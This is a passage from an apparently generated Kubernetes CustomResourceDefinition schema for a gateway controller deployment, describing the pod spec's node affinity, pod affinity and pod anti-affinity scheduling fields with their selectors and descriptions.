                              type: object
                            spec:
                              description: |-
                                GatewayControllerDeploymentPodSpec allows customization of the gateway controller deployment pod
                                spec.
                                If GatewayControllerDeployment.Spec.Template.Spec.Affinity is non-nil, it sets the affinity field
                                of the deployment's pod template.
                                If GatewayControllerDeployment.Spec.Template.Spec.NodeSelector is non-nil, it sets a node
                                selector for where controller pods may be scheduled.
                                If GatewayControllerDeployment.Spec.Template.Spec.Tolerations is non-nil, it sets the tolerations
                                field of the deployment's pod template.
                                For customization of container resources see GatewayControllerDeploymentContainer.
                              properties:
                                affinity:
                                  description: Affinity is a group of affinity scheduling
                                    rules.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
